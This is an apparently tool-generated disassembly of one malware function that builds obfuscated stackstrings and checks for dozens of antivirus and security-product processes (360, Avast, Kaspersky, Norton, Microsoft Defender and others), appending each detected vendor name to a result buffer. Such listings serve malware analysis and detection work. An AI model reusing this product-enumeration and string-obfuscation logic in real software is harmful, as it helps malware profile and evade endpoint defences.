Function at 0x40dd51
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
and byte [ebp - 0x2d], 0
and byte [ebp - 0x21], 0
and byte [ebp - 0x16], 0
and byte [ebp - 0xd], 0
and byte [ebp - 0x3c], 0
push ebx
push esi
push edi
push str.360tray.exe
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], 0x32
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x61
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x64
mov byte [ebp - 0x31], 0x2e
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x78
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2c], 0x54
mov byte [ebp - 0x2b], 0x6d
mov byte [ebp - 0x2a], 0x50
mov byte [ebp - 0x29], 0x72
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x78
mov byte [ebp - 0x26], 0x79
mov byte [ebp - 0x25], 0x2e
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x78
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x20], 0x76
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x76
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x78
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x76
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x78
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0x48], 0x4d
mov byte [ebp - 0x47], 0x63
mov byte [ebp - 0x46], 0x73
mov byte [ebp - 0x45], 0x68
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x2e
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x78
mov byte [ebp - 0x3d], 0x65
call fcn.0041048d
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
test eax, eax
mov esi, 0x420348
mov ebx, 0x41d434
je 0x40de79
nop
nop
nop
push 4
push 0
push str.360tray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e744
push esi
call edi
push ebx
push esi
call edi
lea eax, [ebp - 0x14]
push eax
call fcn.0041048d
test eax, eax
pop ecx
je 0x40dea6
nop
nop
nop
push 4
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e738
push esi
call edi
push ebx
push esi
call edi
push str.KvMonXP.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40ded5
nop
nop
nop
push 4
push 0
push str.KvMonXP.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e720
push esi
call edi
push ebx
push esi
call edi
push str.RavMonD.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40df04
nop
nop
nop
push 4
push 0
push str.RavMonD.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e708
push esi
call edi
push ebx
push esi
call edi
push str.360sd.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40df33
nop
nop
nop
push 4
push 0
push str.360sd.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.360
push esi
call edi
push ebx
push esi
call edi
lea eax, [ebp - 0x48]
push eax
call fcn.0041048d
test eax, eax
pop ecx
je 0x40df60
nop
nop
nop
push 4
lea eax, [ebp - 0x48]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e6ec
push esi
call edi
push ebx
push esi
call edi
push str.egui.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40dfa6
nop
nop
nop
and byte [ebp - 3], 0
push 4
push 0
push str.egui.exe
mov byte [ebp - 8], 0x4e
mov byte [ebp - 7], 0x4f
mov byte [ebp - 6], 0x44
mov byte [ebp - 5], 0x33
mov byte [ebp - 4], 0x32
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push esi
call edi
push ebx
push esi
call edi
push str.kxetray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40dfd5
nop
nop
nop
push 4
push 0
push str.kxetray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e6c8
push esi
call edi
push ebx
push esi
call edi
push str.knsdtray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e004
nop
nop
nop
push 4
push 0
push str.knsdtray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e6ac
push esi
call edi
push ebx
push esi
call edi
push str.TMBMSRV.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e033
nop
nop
nop
push 4
push 0
push str.TMBMSRV.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e694
push esi
call edi
push ebx
push esi
call edi
push str.avcenter.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e062
nop
nop
nop
push 4
push 0
push str.avcenter.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e67c
push esi
call edi
push ebx
push esi
call edi
push str.AvastSvc.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e0b0
nop
nop
nop
and byte [ebp - 5], 0
push 4
push 0
push str.AvastSvc.exe
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x76
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 0xb1
mov byte [ebp - 6], 0xbe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push esi
call edi
push ebx
push esi
call edi
push str.AYAgent.aye
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e0e2
push 4
push 0
push str.AYAgent.aye
call sub.MSVCRT.dll_memset
add esp, 0xc
nop
nop
nop
nop
nop
nop
push 0x41e654
push esi
call edi
push ebx
push esi
call edi
push str.patray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e114
push 4
push 0
push str.patray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
nop
nop
nop
nop
nop
nop
push 0x41e640
push esi
call edi
push ebx
push esi
call edi
push str.V3Svc.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e143
nop
nop
nop
push 4
push 0
push str.V3Svc.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e628
push esi
call edi
push ebx
push esi
call edi
push str.avgwdsvc.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e172
nop
nop
nop
push 4
push 0
push str.avgwdsvc.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.AVG
push esi
call edi
push ebx
push esi
call edi
push str.ccSetMgr.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e1a1
nop
nop
nop
push 4
push 0
push str.ccSetMgr.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e5f4
push esi
call edi
push ebx
push esi
call edi
push str.ashserv.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e1f3
and byte [ebp - 4], 0
mov byte [ebp - 0xc], 0x41
mov byte [ebp - 0xb], 0x76
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 0xb4
mov byte [ebp - 6], 0xa1
mov byte [ebp - 5], 0xbe
nop
nop
nop
push 4
push 0
push str.ashserv.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push esi
call edi
push ebx
push esi
call edi
push str.QUHLPSVC.EXE
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e222
nop
nop
nop
push 4
push 0
push str.QUHLPSVC.EXE
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.QUICK_HEAL
push esi
call edi
push ebx
push esi
call edi
push str.mssecess.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e251
nop
nop
nop
push 4
push 0
push str.mssecess.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e5ac
push esi
call edi
push ebx
push esi
call edi
push str.SavProgress.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e2a3
and byte [ebp - 4], 0
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x68
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0xb1
mov byte [ebp - 5], 0xbe
nop
nop
nop
push 4
push 0
push str.SavProgress.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push esi
call edi
push ebx
push esi
call edi
push str.fsavgui.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e2fd
nop
nop
nop
and byte [ebp - 2], 0
push 4
push 0
push str.fsavgui.exe
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x2d
mov byte [ebp - 0xa], 0x53
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x72
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0xb1
mov byte [ebp - 3], 0xbe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push esi
call edi
push ebx
push esi
call edi
lea eax, [ebp - 0x20]
push eax
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e32a
nop
nop
nop
push 4
lea eax, [ebp - 0x20]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e584
push esi
call edi
push ebx
push esi
call edi
push str.remupd.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e359
nop
nop
nop
push 4
push 0
push str.remupd.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e56c
push esi
call edi
push ebx
push esi
call edi
lea eax, [ebp - 0x2c]
push eax
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e386
nop
nop
nop
push 4
lea eax, [ebp - 0x2c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e694
push esi
call edi
push ebx
push esi
call edi
push str.FortiTray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e3b5
nop
nop
nop
push 4
push 0
push str.FortiTray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e554
push esi
call edi
push ebx
push esi
call edi
push str.KSafeTray.EXE
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e3e1
push 4
push 0
push str.KSafeTray.EXE
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e538
push esi
call edi
push ebx
push esi
call edi
push str.QQPCTray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e40d
push 4
push 0
push str.QQPCTray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e520
push esi
call edi
push ebx
push esi
call edi
lea eax, [ebp - 0x38]
push eax
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e437
push 4
lea eax, [ebp - 0x38]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.a_squared
push esi
call edi
push ebx
push esi
call edi
push str.ad_watch.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e463
push 4
push 0
push str.ad_watch.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Lavasoft
push esi
call edi
push ebx
push esi
call edi
push str.fsav32.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e4ba
and byte [ebp - 2], 0
push 4
push 0
push str.fsav32.exe
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x2d
mov byte [ebp - 0xa], 0x53
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x72
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0xb1
mov byte [ebp - 3], 0xbe
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push esi
call edi
push ebx
push esi
call edi
push str.cleaner8.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e4e6
push 4
push 0
push str.cleaner8.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.The_Cleaner
push esi
call edi
push ebx
push esi
call edi
push str.vba32lder.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e512
push 4
push 0
push str.vba32lder.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.vb32
push esi
call edi
push ebx
push esi
call edi
push str.MongoosaGUI.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e53e
push 4
push 0
push str.MongoosaGUI.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mongoosa
push esi
call edi
push ebx
push esi
call edi
push str.CorantiControlCenter32.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e56a
push 4
push 0
push str.CorantiControlCenter32.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Coranti2012
push esi
call edi
push ebx
push esi
call edi
push str.F_PROT.EXE
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e596
push 4
push 0
push str.F_PROT.EXE
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.F_PROT
push esi
call edi
push ebx
push esi
call edi
push str.CMCTrayIcon.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e5c2
push 4
push 0
push str.CMCTrayIcon.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CMC
push esi
call edi
push ebx
push esi
call edi
push str.K7TSecurity.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e5ee
push 4
push 0
push str.K7TSecurity.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e414
push esi
call edi
push ebx
push esi
call edi
push str.UnThreat.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e61a
push 4
push 0
push str.UnThreat.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.UnThreat
push esi
call edi
push ebx
push esi
call edi
push str.CKSoftShiedAntivirus4.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e646
push 4
push 0
push str.CKSoftShiedAntivirus4.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Shield_Antivirus
push esi
call edi
push ebx
push esi
call edi
push str.AVWatchService.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e672
push 4
push 0
push str.AVWatchService.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.VIRUSfighter
push esi
call edi
push ebx
push esi
call edi
push str.ArcaTasksService.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e69e
push 4
push 0
push str.ArcaTasksService.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.ArcaVir
push esi
call edi
push ebx
push esi
call edi
push str.iptray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e6ca
push 4
push 0
push str.iptray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Immunet
push esi
call edi
push ebx
push esi
call edi
push str.PSafeSysTray.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e6f6
push 4
push 0
push str.PSafeSysTray.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.PSafe
push esi
call edi
push ebx
push esi
call edi
push str.nspupsvc.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e722
push 4
push 0
push str.nspupsvc.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.nProtect
push esi
call edi
push ebx
push esi
call edi
push str.SpywareTerminatorShield.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e74e
push 4
push 0
push str.SpywareTerminatorShield.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.SpywareTerminator
push esi
call edi
push ebx
push esi
call edi
push str.BKavService.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e77a
push 4
push 0
push str.BKavService.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Bkav
push esi
call edi
push ebx
push esi
call edi
push str.MsMpEng.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e7a6
push 4
push 0
push str.MsMpEng.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Microsoft_Security_Essentials
push esi
call edi
push ebx
push esi
call edi
push str.SBAMSvc.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e7d2
push 4
push 0
push str.SBAMSvc.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.VIPRE
push esi
call edi
push ebx
push esi
call edi
push str.ccSvcHst.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e7fe
push 4
push 0
push str.ccSvcHst.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Norton
push esi
call edi
push ebx
push esi
call edi
push str.cfp.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e82a
push 4
push 0
push str.cfp.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.COMODO
push esi
call edi
push ebx
push esi
call edi
push str.QQ.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e856
push 4
push 0
push str.QQ.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e254
push esi
call edi
push ebx
push esi
call edi
push str.ashDisp.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e899
push 4
push 0
push str.ashDisp.exe
call sub.MSVCRT.dll_memset
and byte [ebp - 3], 0
add esp, 0xc
lea eax, [ebp - 8]
mov byte [ebp - 8], 0x41
push eax
push esi
mov byte [ebp - 7], 0x76
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x74
call edi
push ebx
push esi
call edi
push str.SPIDer.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e8c5
push 4
push 0
push str.SPIDer.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.DR.WEB
push esi
call edi
push ebx
push esi
call edi
push str.f_secure.exe
call fcn.0041048d
test eax, eax
pop ecx
je 0x40e8f1
push 4
push 0
push str.f_secure.exe
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41e21c
push esi
call edi
push ebx
push esi
call edi
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret